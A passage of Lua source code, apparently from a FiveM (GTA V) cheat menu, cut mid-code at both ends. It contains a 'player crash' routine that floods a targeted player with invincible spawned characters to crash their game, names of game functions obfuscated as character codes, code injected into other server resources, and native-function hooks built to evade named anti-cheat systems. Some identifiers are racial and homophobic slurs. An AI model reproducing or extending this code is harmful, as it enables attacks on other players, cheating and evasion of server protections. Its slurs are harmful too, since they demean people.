FreezeEntityPosition fn_a9 = {83,101,116,69,110,116,105,116,121,67,111,108,108,105,115,105,111,110}, -- SetEntityCollision fn_b1 = {83,101,116,80,101,100,67,111,110,102,105,103,70,108,97,103}, -- SetPedConfigFlag fn_b2 = {83,101,116,69,110,116,105,116,121,67,97,110,66,101,68,97,109,97,103,101,100}, -- SetEntityCanBeDamaged fn_b3 = {83,101,116,69,110,116,105,116,121,73,110,118,105,110,99,105,98,108,101}, -- SetEntityInvincible fn_b4 = {83,101,116,69,110,116,105,116,121,80,114,111,111,102,115}, -- SetEntityProofs fn_b5 = {83,101,116,80,101,100,67,97,110,82,97,103,100,111,108,108}, -- SetPedCanRagdoll fn_b6 = {83,101,116,66,108,111,99,107,105,110,103,79,102,78,111,110,84,101,109,112,111,114,97,114,121,69,118,101,110,116,115}, -- SetBlockingOfNonTemporaryEvents fn_b7 = {84,97,115,107,87,97,110,100,101,114,73,110,65,114,101,97}, -- TaskWanderInArea fn_b8 = {83,101,116,80,101,100,65,115,78,111,76,111,110,103,101,114,78,101,101,100,101,100}, -- SetPedAsNoLongerNeeded fn_b9 = {68,101,108,101,116,101,69,110,116,105,116,121}, -- DeleteEntity fn_c2 = {83,101,116,77,111,100,101,108,65,115,78,111,76,111,110,103,101,114,78,101,101,100,101,100} -- SetModelAsNoLongerNeeded } local isCrashActive = false local crashInitiated = false function GetTargetPlayerById(targetId) for _, playerId in ipairs(g(enc_natives.fn_a1)()) do if g(enc_natives.fn_a2)(playerId) == targetId then return playerId end end return -1 end function ForceDeleteAllCrashPeds(spawnedPeds, pedModel) for _, ped in ipairs(spawnedPeds) do if g(enc_natives.fn_f9)(ped) then g(enc_natives.fn_b9)(ped) end end if pedModel then g(enc_natives.fn_c2)(pedModel) end end function ExecutePlayerCrash() if isCrashActive or crashInitiated then return end isCrashActive = true crashInitiated = true local playerPed = g(enc_natives.fn_e1)() local selectedPlayer = GetTargetPlayerById(%d) if selectedPlayer == -1 then isCrashActive = false crashInitiated = false return end local targetPed = g(enc_natives.fn_a3)(selectedPlayer) if g(enc_natives.fn_f9)(targetPed) and targetPed ~= playerPed and g(enc_natives.fn_a4)(selectedPlayer) then local pedModel = g(enc_natives.fn_g3)("cs_wade") g(enc_natives.fn_g5)(pedModel) while not g(enc_natives.fn_g6)(pedModel) do Citizen.Wait(100) end local spawnedPeds = {} local maxPedsPerBatch = 5 local maxIterations = 22 for i = 0, maxIterations - 1 do targetPed = g(enc_natives.fn_a3)(selectedPlayer) if not g(enc_natives.fn_f9)(targetPed) or not g(enc_natives.fn_a4)(selectedPlayer) then ForceDeleteAllCrashPeds(spawnedPeds, pedModel) break end local coords = g(enc_natives.fn_e2)(targetPed) if not coords then ForceDeleteAllCrashPeds(spawnedPeds, pedModel) break end for j = 1, maxPedsPerBatch do local offsetX = math.random(-3.0, 3.0) local offsetY = math.random(-3.0, 3.0) local foundGround, groundZ = g(enc_natives.fn_a5)(coords.x + offsetX, coords.y + offsetY, coords.z + 2.0) local spawnZ = foundGround and groundZ or coords.z local ped = g(enc_natives.fn_c1)(28, pedModel, coords.x + offsetX, coords.y + offsetY, spawnZ, math.random(0, 360), true, false) if g(enc_natives.fn_f9)(ped) then g(enc_natives.fn_a6)(ped, 0, false) g(enc_natives.fn_a7)(ped, false, false) g(enc_natives.fn_a8)(ped, true) g(enc_natives.fn_a9)(ped, false, false) g(enc_natives.fn_b1)(ped, 292, true) g(enc_natives.fn_b1)(ped, 301, true) g(enc_natives.fn_b1)(ped, 128, true) g(enc_natives.fn_b1)(ped, 287, true) g(enc_natives.fn_b2)(ped, false) g(enc_natives.fn_b3)(ped, true) g(enc_natives.fn_b4)(ped, true, true, true, true, true, true, true, true) g(enc_natives.fn_b5)(ped, false) g(enc_natives.fn_b6)(ped, true) g(enc_natives.fn_b7)(ped, coords.x, coords.y, spawnZ, 10.0, 10.0, 10.0) g(enc_natives.fn_b8)(ped) table.insert(spawnedPeds, ped) end end Citizen.Wait(250) end g(enc_natives.fn_c2)(pedModel) Citizen.CreateThread(function() Citizen.Wait(3000) ForceDeleteAllCrashPeds(spawnedPeds, pedModel) isCrashActive = false crashInitiated = false end) else isCrashActive = false crashInitiated = false end end Citizen.CreateThread(function() ExecutePlayerCrash() end) ]], player.id)) else -- Direct execution for WaveShield (no injection needed) -- Complex function, using injection for WaveShield too end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Crash initiated on " .. player.name, type = 'success' })) end end break end end else ---("No player selected for crash!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end end end }, } } } }, { label = "Weapon", type = 'submenu', icon = 'ph-fire', tabs = { { name = 'Spawner', submenu = { { label = 'Scan Addon Weapons', type = 'button', canBind = true, bindName = 'Scan Addon Weapons', onConfirm = function() MachoInjectResource2(NewThreadNs, 'ox_inventory', [[ local ITEMS_PER_PAGE = 100 local ItemCache = { Items = {}, Weapons = {}, Ammo = {} } local function normalize(text) return text:lower():gsub('[%s%-%_]', '') end local function buildItemCache() local items = exports.ox_inventory:Items() if not items then return end for name, data in pairs(items) do local item = { name = name, label = data.label or name, description = data.description or (data.client and data.client.description) or name, image = data.image or (data.client and data.client.image) or ('nui://ox_inventory/web/images/' .. name .. '.png') } if data.weapon then ItemCache.Weapons[#ItemCache.Weapons + 1] = item elseif data.ammo then ItemCache.Ammo[#ItemCache.Ammo + 1] = item else ItemCache.Items[#ItemCache.Items + 1] = item end end for _, list in pairs(ItemCache) do table.sort(list, function(a, b) return a.label < b.label end) end end local function filterItems(list, query) if not query or query == '' then return list end local search = normalize(query) local results = {} for _, item in ipairs(list) do if normalize(item.name):find(search, 1, true) or normalize(item.label):find(search, 1, true) then results[#results + 1] = item end end return results end local function copyItemName(item) lib.setClipboard(item.name) lib.notify({ title = 'Copied to clipboard', description = item.name, type = 'success' }) end local function openMainMNexus() end local function openCategoryMNexus(title, list, page, query) page = page or 1 local items = filterItems(list, query) local startIndex = (page - 1) * ITEMS_PER_PAGE + 1 local endIndex = math.min(startIndex + ITEMS_PER_PAGE - 1, #items) local options = {} for i = startIndex, endIndex do local item = items[i] options[#options + 1] = { title = item.label, description = item.description, image = item.image, icon = 'fa-solid fa-box', onSelect = function() copyItemName(item) end } end if startIndex > 1 then options[#options + 1] = { title = 'Previous', icon = 'fa-solid fa-arrow-left', onSelect = function() openCategoryMNexus(title, list, page - 1, query) end } end if endIndex < #items then options[#options + 1] = { title = 'Next', icon = 'fa-solid fa-arrow-right', onSelect = function() openCategoryMNexus(title, list, page + 1, query) end } end options[#options + 1] = { title = 'Back', icon = 'fa-solid fa-chevron-left', onSelect = function() openMainMNexus() end } lib.registerContext({ id = 'ibes:itemCategory', title = title .. ' (' .. #items .. ')', options = options }) lib.showContext('ibes:itemCategory') end openMainMNexus = function() lib.registerContext({ id = 'ibes:itemList', title = 'Item List', options = { { title = 'Search', description = 'Search across all items', icon = 'fa-solid fa-magnifying-glass', onSelect = function() local input = lib.inputDialog('Search Items', { { type = 'input', label = 'Search term' } }) if not input or not input[1] or input[1] == '' then return end local merged = {} for _, category in pairs(ItemCache) do for _, item in ipairs(category) do merged[#merged + 1] = item end end openCategoryMNexus('Search: ' .. input[1], merged, 1, input[1]) end }, { title = 'Items', description = tostring(#ItemCache.Items) .. ' items', icon = 'fa-solid fa-box', onSelect = function() openCategoryMNexus('Items', ItemCache.Items, 1) end }, { title = 'Weapons', description = tostring(#ItemCache.Weapons) .. ' weapons', icon = 'fa-solid fa-gun', onSelect = function() openCategoryMNexus('Weapons', ItemCache.Weapons, 1) end }, { title = 'Ammo', description = tostring(#ItemCache.Ammo) .. ' ammo types', icon = 'fa-solid fa-bullseye', onSelect = function() openCategoryMNexus('Ammo', ItemCache.Ammo, 1) end } } }) lib.showContext('ibes:itemList') end buildItemCache() openMainMNexus() ]]) end }, { label = 'Remove All Weapons', type = 'button', canBind = true, bindName = 'Remove All Weapons', onConfirm = function() _forceWeaponActive = false local ped = PlayerPedId() RemoveAllPedWeapons(ped, true) hideImageInSvelte() end }, { label = 'Spawn Weapon by Name', type = 'button', canBind = true, bindName = 'Spawn Weapon by Name', onConfirm = function() print("=== SPAWN WEAPON BY NAME BUTTON CLICKED ===") local responses = {} local inputSequence = { { question = "Enter weapon name or hash:", placeholder = "Type weapon name (e.g., WEAPON_PISTOL) or hash code...", maxLength = 50, inputType = "alphanumeric", key = "weaponName" } } local function processInput(index) print("=== PROCESS INPUT CALLED, index:", index) if index > #inputSequence then local weaponInput = responses[1].value if weaponInput and weaponInput ~= "" then print("=== SPAWNING WEAPON:", weaponInput) -- Process weapon name in main context local weaponName = weaponInput if not tonumber(weaponInput) then if not weaponInput:upper():find("WEAPON_") then weaponName = "WEAPON_" .. weaponInput:upper() else weaponName = weaponInput:upper() end end local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = GetResourceState('ReaperV4') == 'started' or fgFound -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: single injection into inventory resource that bypasses + gives weapon SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], weaponName), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems MachoHookNative(0xB0237302, function() local selfPed = PlayerPedId() local selfCurrentWeapon = SetCurrentPedWeapon return selfCurrentWeapon(selfPed, GetHashKey("WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end -- Determine target resource: use ReaperV4 if running, otherwise use inventory resource local targetResource = isReaperV4Running and 'ReaperV4' or 'ox_inventory' if GetResourceState(targetResource) ~= 'started' and not isReaperV4Running then targetResource = 'any' end Wait(100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 250, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, weaponHash, 250) ]], weaponName), "Spawn Weapon by Name") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawned weapon: " .. weaponName, type = 'success' })) end else print("=== WEAPON INPUT WAS EMPTY OR NIL ===") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid weapon input", type = 'error' })) end end return end local currentInput = inputSequence[index] print("=== ABOUT TO CALL openTextInput (Spawn Weapon) ===") print("Current input question:", currentInput.question) openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) print("=== CALLBACK RECEIVED, value:", value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) print("=== ADDED RESPONSE:", currentInput.key, "=", value) CreateThread(function() Wait(200) processInput(index + 1) end) else print("=== VALUE WAS EMPTY OR NIL ===") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Weapon name cannot be empty", type = 'error' })) end end end, currentInput.inputType ) end print("=== STARTING PROCESS INPUT ===") processInput(1) end }, { label = 'Melees', type = 'scroll', selected = 1, canBind = true, bindName = 'Force Melee Weapon', options = (function() local meleeOptions = {} for i, weaponName in ipairs(WeaponData.Melees.b) do local imageUrl = WeaponData.Melees.c[weaponName] or "https://via.placeholder.com/310x174" local displayName = weaponName:gsub("_", " "):gsub("^%l", string.upper) table.insert(meleeOptions, { label = displayName, weapon = "WEAPON_" .. weaponName:upper(), image = imageUrl }) end return meleeOptions end)(), onConfirm = function(selectedWeapon) local function safeCall(fn, ...) if fn then return fn(...) end end local GetResourceState = _G.GetResourceState or function(...) end local Wait = _G.Wait or function(...) end local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = safeCall(GetResourceState, 'ReaperV4') == 'started' or fgFound local isQBCoreRunning = safeCall(GetResourceState, 'qb-core') == 'started' or safeCall(GetResourceState, 'qbx-core') == 'started' -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: single injection into inventory resource that bypasses + gives weapon SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], selectedWeapon.weapon), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems local GetHashKey = _G.GetHashKey or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end safeCall(Wait, 100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 200, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, weaponHash, 200) ]], selectedWeapon.weapon), "Spawn Weapon") hideImageInSvelte() end, onChange = function(selectedWeapon) sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end }, { label = 'Handguns', type = 'scroll', selected = 1, canBind = true, bindName = 'Force Handgun', options = (function() local handgunOptions = {} for i, weaponName in ipairs(WeaponData.Handguns.b) do local imageUrl = WeaponData.Handguns.c[weaponName] or "https://via.placeholder.com/310x174" local displayName = weaponName:gsub("_", " "):gsub("^%l", string.upper) table.insert(handgunOptions, { label = displayName, weapon = "WEAPON_" .. weaponName:upper(), image = imageUrl }) end return handgunOptions end)(), onConfirm = function(selectedWeapon) local function safeCall(fn, ...) if fn then return fn(...) end end local GetResourceState = _G.GetResourceState or function(...) end local Wait = _G.Wait or function(...) end local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = safeCall(GetResourceState, 'ReaperV4') == 'started' or fgFound local isQBCoreRunning = safeCall(GetResourceState, 'qb-core') == 'started' or safeCall(GetResourceState, 'qbx-core') == 'started' -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: injection into best available inventory resource SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], selectedWeapon.weapon), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems local GetHashKey = _G.GetHashKey or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end safeCall(Wait, 100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local 